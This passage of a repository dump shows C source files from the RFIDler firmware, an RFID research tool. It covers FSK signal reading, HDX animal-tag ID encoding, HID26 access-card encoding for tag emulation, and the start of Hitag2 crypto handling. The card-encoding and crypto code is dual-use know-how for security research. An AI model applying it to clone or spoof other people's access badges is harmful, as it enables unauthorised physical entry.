tries;\n\n    // point globals at data for ISR\n    EMU_Data= data;\n    HW_Bits= bits;\n\n    memset(EMU_Data, '\\0', bits);\n\n    // stop USB interfering\n    USBMaskInterrupts();\n\n    // start clock if not already running\n    if(!mGetLED_Clock() == mLED_ON)\n    {\n        InitHWReaderClock(OC_TOGGLE_PULSE, period / 2L, period, RWD_STATE_ACTIVE);\n\n        // give reader time to wake up and settle\n        Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wake_Period) / 100);\n    }\n\n    // reset timer for timeout\n    GetTimer_us(RESET);\n\n    // align ourselves to reader's bit period by finding the end of a pulse train.\n    // we can do this by measuring the gaps. when they become significantly different\n    // sized (more than 25%), we have just switched frequency.\n\n    // find the start of a pulse\n    while(READER_DATA)\n        if(timeout_us)\n            if (GetTimer_us(NO_RESET) > timeout_us)\n                return FALSE;\n    while(!READER_DATA)\n        if(timeout_us)\n            if (GetTimer_us(NO_RESET) > timeout_us)\n                return FALSE;\n    while(READER_DATA)\n        if(timeout_us)\n            if (GetTimer_us(NO_RESET) > timeout_us)\n                return FALSE;\n\n    // reset timer so we can meausure gap period\n    GetTimer_us(RESET);\n    while(!READER_DATA)\n        if(timeout_us)\n            if (GetTimer_us(NO_RESET) > timeout_us)\n                return FALSE;\n    gaplength= GetTimer_us(RESET);\n\n    // now look for a gap that doesn't match\n    tries= 20;\n    while(tries--)\n    {\n        while(READER_DATA)\n            if(timeout_us)\n                if (GetTimer_us(NO_RESET) > timeout_us)\n                    return FALSE;\n        GetTimer_us(TRUE);\n        while(!READER_DATA)\n            if(timeout_us)\n                if (GetTimer_us(NO_RESET) > timeout_us)\n                    return FALSE;\n        if(!approx(GetTimer_us(NO_RESET), gaplength, FSK_TOLERANCE))\n            break;\n    }\n\n    // reset timer for external timeouts\n    GetTimer_us(RESET);\n\n    // start ISR to read FSK data\n    InitHWReaderISR(CONVERT_TO_TICKS(period) * ticks - 1L, TRUE);\n\n    return TRUE;\n}\n\n// convert special case fsk bin array to standard bin array\n// this is an array of sizes. there should be only two values (approximate), one for '0' and one for '1'\n// the lower of the two values is '0' - calling routine should decide if this is correct, and set 'invert' to switch\n// if required\nBOOL fskbinarraytobinarray(unsigned char *target, unsigned char *source, unsigned int length, BOOL invert)\n{\n    unsigned int i;\n    unsigned char val0= 0, val1= 0;\n    BYTE percentage= FSK_TOLERANCE;\n\n    val0= source[0];\n\n    // check we only have two values\n    for(i= 1 ; i < length ; ++i)\n    {\n        if(!val1 && !approx(source[i], val0, percentage))\n            val1= source[i];\n        if(!approx(source[i], val0, percentage) && !approx(source[i], val1, percentage))\n            return FALSE;\n    }\n\n    // lower value (smaller pulses, so higher frequency) is '0', so swap if not set that way\n    if((val1 < val0) ^ invert)\n        val0= val1;\n\n    for(i= 0 ; i < length ; ++i)\n        if(approx(source[i], val0, percentage))\n            target[i]= 0x00;\n        else\n            target[i]= 0x01;\n\n    return TRUE;\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/hdx.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n// ISO-11784/5 HDX as per http://www.webcitation.org/5fsCRL5Zz\n\n#include \"HardwareProfile.h\"\n#include \"detect.h\"\n#include \"hdx.h\"\n#include \"fsk.h\"\n#include \"rfidler.h\"\n#include \"util.h\"\n\n// HDX reads data in Half Duplex mode\n// first we energise the TAG for long enough that it charges up\n// then we use sniffer to read response\n// each bit is 16 ticks, a 1 is 124.2 KHz and a 0 is 134.2 KHz\n// activation frequency is 134.2 KHz (745 FCs))\nBOOL hdx_get_uid(BYTE *response)\n{\n    BYTE i;\n    BYTE tmp[HDX_DATABITS];\n    \n    // this is a work in progress, so until reading produces any data, return empty\n    return FALSE;\n\n    // energise tag & wait for wakeup period\n    InitHWReaderClock(OC_TOGGLE_PULSE, 745 / 2L, 745, RWD_STATE_ACTIVE);\n    Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wake_Period) / 100);\n\n    // switch off clock and switch to sniffer mode\n    detect_init();\n\n    // read to temporary array for speed\n    for(i= 0 ; i < HDX_DATABITS ; ++i)\n        tmp[i]= read_external_clock_burst(16) / 1000L;\n\n    // convert to binary based on freq +- 3\n    for(i= 0 ; i < HDX_DATABITS ; ++i)\n    {\n        if (tmp[i] >= 122 && tmp[i] <= 128)\n            tmp[i]= 0x01;\n        else\n            if (tmp[i] >= 129 && tmp[i] <= 135)\n                 tmp[i]= 0x00;\n            else\n                return FALSE;\n    }\n    binarraytohex(response, tmp, HDX_DATABITS);\n    return TRUE;\n}\n\n// convert human readable UID to 128 bit fdx-b HEX string\nBOOL uid_to_hdx_hex(BYTE *hex, BYTE *uid)\n{\n    BYTE tmp[128];\n    if(!uid_to_fdxb_bin(tmp, uid))\n        return FALSE;\n\n   binarraytohex(hex, tmp, 128);\n   return TRUE;\n}\n\n// convert human readable UID to 128 bit fdx-b binary array\nBOOL uid_to_hdx_bin(BYTE *bin, BYTE *uid)\n{\n    BYTE tmp1[64], crc[8], i;\n    unsigned int country, crctag;\n    unsigned long long id;\n\n    memset(tmp1, 0x00, 64);\n\n    // set animal flag\n    if(uid[0] == 'A')\n        tmp1[0]= 0x01;\n    else\n        if(uid[0] != '0')\n            return FALSE;\n\n    // set data flag\n    if(uid[1] == 'D')\n        tmp1[15]= 0x01;\n    else\n        if(uid[1] != '0')\n            return FALSE;\n\n    // set country code - 4 hex digits -> 10 bits\n    country= bcdtouint(uid + 2, 4);\n    inttobinarray(tmp1 + 16, country, 10);\n\n    // set national ID - 12 hex digits -> 38 bits\n    id= bcdtoulonglong(uid + 6, 12);\n    ulonglongtobinarray(tmp1 + 26, id, 38);\n\n    // reverse binary\n    string_reverse(tmp1, 64);\n\n    // add header for over-the-air: 10 x 0x00 + 0x01\n    memset(bin, 0x00, 10);\n\n    // every 9th bit is 0x01, but we can just fill the rest with 0x01 and overwrite\n    memset(bin + 10, 0x01, 118);\n\n    //data is 8 blocks of 8 bits, plus obfuscation bit\n    for(i= 0 ; i < 8 ; ++i)\n        memcpy(bin + 11 + i * 9, tmp1 + i * 8, 8);\n\n    // calculate & append crc for 64 bits of data\n    for(i= 0 ; i < 8 ; ++i)\n        crc[i]= (BYTE) binarraytoint(tmp1 + i * 8, 8);\n    crctag= crc_ccitt(crc, 8);\n    inttobinarray(bin + 83, crctag >> 8, 8);\n    inttobinarray(bin + 92, crctag, 8);\n\n    // add trailer\n    for(i= 0 ; i < 3 ; ++i)\n        memset(bin + 101 + i * 9, 0x00, 8);\n\n    return TRUE;\n}\n\n// convert fdxb 128 bit binary array to human readable UID\n// format is ADCCCCIIIIIIIIIIII where A is 'A' or '0' for animal / non-animal,\n// D is 'D' or '0' for Data block available / No data available, \n// CCCC is ISO-3166 country code or ICAR.ORG manufacturer code\n// IIIIIIIIIIII is national ID\nBOOL hdx_hex_to_uid(BYTE *uid, BYTE *hex)\n{\n    BYTE tmp[128];\n    unsigned int country;\n    unsigned long long id;\n\n\n    // strip headers etc.\n    if(!fdxb_hex_to_bin(tmp, hex))\n        return FALSE;\n\n    // reverse binary\n    string_reverse(tmp, 64);\n\n    // output animal flag\n    if(tmp[0])\n        uid[0]= 'A';\n    else\n        uid[0]= '0';\n\n    // output data flag\n    if(tmp[15])\n        uid[1]= 'D';\n    else\n        uid[1]= '0';\n\n    // output country/icar code\n    country= binarraytoint(&tmp[16], 10);\n    sprintf(&uid[2], \"%04u\", country);\n\n    // output national ID\n    id= binarraytoulonglong(&tmp[26], 38);\n    sprintf(&uid[6], \"%012llu\", id);\n\n    return TRUE;\n}\n\n// convert 32 hex digit/128 bit FDXB ID to 64 bit raw UID\n// safe to do in-place as we use a scratchpad\nBOOL hdx_hex_to_bin(BYTE *response, BYTE *fdxb)\n{\n    BYTE i, crc_check[8], trailer[9]= {0,0,0,0,0,0,0,0,1}, tmp[128];\n    unsigned int crctag;\n\n    hextobinarray(tmp, fdxb);\n\n    // check header - should be 10 x 0x00 + 0x01\n    for(i= 0 ; i < 10 ; ++i)\n        if(tmp[i] != 0x00)\n            return FALSE;\n    if(tmp[10] != 0x01)\n        return FALSE;\n\n    // check CRC\n    // calculate crc for 64 bits of data (8 blocks of 8 plus obfuscation bit)\n    for(i= 0 ; i < 8 ; ++i)\n        crc_check[i]= (BYTE) binarraytoint(tmp + 11 + i * 9, 8);\n    // stored crc (2 x 8 + 1) is at offset 83 (11 + 64 + 8)\n    crctag= binarraytoint(tmp + 83, 8) << 8;\n    crctag += binarraytoint(tmp + 92, 8);\n    if (crctag != crc_ccitt(crc_check, 8))\n        return FALSE;\n\n    // check trailer - '000000001' x 3 at offset 101\n    for(i= 0 ; i < 3 ; ++i)\n        if(memcmp(tmp + 101 + i * 9, trailer, 9) != 0)\n            return FALSE;\n\n    // data is 8 blocks of 8 bits, plus obfuscation bit so check and strip every 9th bit\n    for(i= 0 ; i < 8 ; ++i)\n    {\n        if(tmp[11 + ((i + 1) * 9) - 1] != 0x01)\n            return FALSE;\n        memcpy(response + i * 8, tmp + 11 + (i * 9), 8);\n    }\n\n    return TRUE;\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/hid.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n#include \"HardwareProfile.h\"\n#include \"util.h\"\n#include \"rfidler.h\"\n#include \"hid.h\"\n#include \"wiegand.h\"\n#include \"fsk.h\"\n\n// convert null-terminated BCD UID (8 digits) to hid26 encoded hex\n// UID is SSSIIIII where S is site-code and I is ID\nBOOL bcd_to_hid26_hex(unsigned char *hid26, unsigned char *bcd)\n{\n    if(bcd_to_hid26_bin(hid26, bcd))\n        return binarraytohex(hid26, hid26, 96);\n    else\n        return FALSE;\n}\n\n// convert 96 bit HID FSK data to 8 digit BCD UID\nBOOL hid26_hex_to_uid(unsigned char *response, unsigned char *hid26)\n{\n    BYTE tmp[96], tmp1[7];\n    unsigned int site;\n    unsigned int id;\n    // todo parity checking etc.\n\n    if(!hextobinarray(tmp, hid26))\n        return FALSE;\n    \n    // skip 44 bit header\n    memcpy(tmp, tmp + 44, 52);\n    \n    // manchester decode\n    if(manchester_decode(tmp, tmp, 52) != 26)\n        return FALSE;\n\n    // convert to hex, ignoring parity bits\n    if(!binarraytohex(tmp1, tmp + 1, 24))\n        return FALSE;\n    // convert hex to site/id\n    sscanf(tmp1,\"%2X%4X\", &site, &id);\n    // final output 8 byte BCD\n    sprintf(response,\"%03d%05d\", site, id);\n\n    return TRUE;\n}\n\n// convert null-terminated BCD UID (8 digits) to 96 bit hid26 encoded binary array\nBOOL bcd_to_hid26_bin(unsigned char *hid26, unsigned char *bcd)\n{\n    unsigned char tmp1[8], tmp2[26];\n    unsigned int tmpint;\n\n    if(strlen(bcd) != 8)\n        return FALSE;\n\n    // convert BCD site code to HEX\n    sscanf(bcd, \"%03d\", &tmpint);\n    sprintf(tmp2, \"%02x\", tmpint);\n    memcpy(tmp1, tmp2, 2);\n\n    // convert BCD ID to HEX\n    sscanf(bcd + 3, \"%05d\", &tmpint);;\n    sprintf(tmp2, \"%04x\", tmpint);\n    // copy with trailing NULL\n    memcpy(tmp1 + 2, tmp2, 5);\n\n    // convert full HEX to binary, leaving room for parity prefix\n    hextobinarray(tmp2 + 1, tmp1);\n    \n    wiegand_add_parity(tmp2, tmp2 + 1, 24);\n    // magic 44 bit hid26 header\n    hextobinarray(hid26, \"1D555955556\");\n    // add manchester encoded hid data\n    manchester_encode(hid26 + 44, tmp2, 26);\n    return TRUE;\n}\n\n// return raw HEX UID\nBOOL hid26_get_uid(BYTE *response)\n{\n    return fsk_raw_get_uid(response, FALSE);\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/hitag.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2017 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n// We want the crypto functions to be as fast as possible, so optimize!\n// The best compiler optimization in Microchip's free XC32 edition is -O1\n#pragma GCC optimize(\"O1\")\n\n#include \"HardwareProfile.h\"\n#include \"ask.h\"\n#include \"comms.h\"\n#include \"config.h\"\n#include \"hitagcrypto.h\"\n#include \"hitag.h\"\n#include \"rfidler.h\"\n#include \"rwd.h\"\n#include \"sniff.h\"\n#include \"util.h\"\n\n// sync/ack checking\nconst BYTE Hitag2Sync[5]= {0x01, 0x01, 0x01, 0x01, 0x01};\nconst BYTE Hitag1ACK[3]= {0x01, 0x00, 0x01};\n\nconst BYTE *Hitag2_Modes[]= {\"Public Mode B\", \"Public Mode A\", \"Public Mode C\", \"Hitag2\"};\n\n// crypto globals\nHitag_State Hitag_Crypto_State;\nBOOL CryptoActive= FALSE;\n\nextern BYTE Sniffstore;\n\n// crypto hints:\n//\n// when running hitag2 in crypto mode, bear in mind that both the reader and the tag must maintain the same crypto\n// stream. this means that every crypto operation on either side must be mirrored on the other side in order to\n// keep the streams synchronised. essentially, this means that every encrypted packet received from the tag must\n// be decrypted, even if you don't plan to use the data, and everything must be done in real-time order - i.e. you\n// cannot pre-encrypt to save time if that changes the order that bits are encrypted in.\n//\n// after authentication, everything is encrypted on the reader side, including commands. the tag only encrypts the data,\n// not the 5 sync bits.\n\nBOOL hitag1_get_uid(BYTE *response)\n{\n    BYTE tmp[132]; // 33 bits x 4\n\n    rwd_send(HITAG1_SET_CC, strlen(HITAG1_SET_CC), RESET, BLOCK, RWD_STATE_START_SEND, RFIDlerConfig.FrameClock, 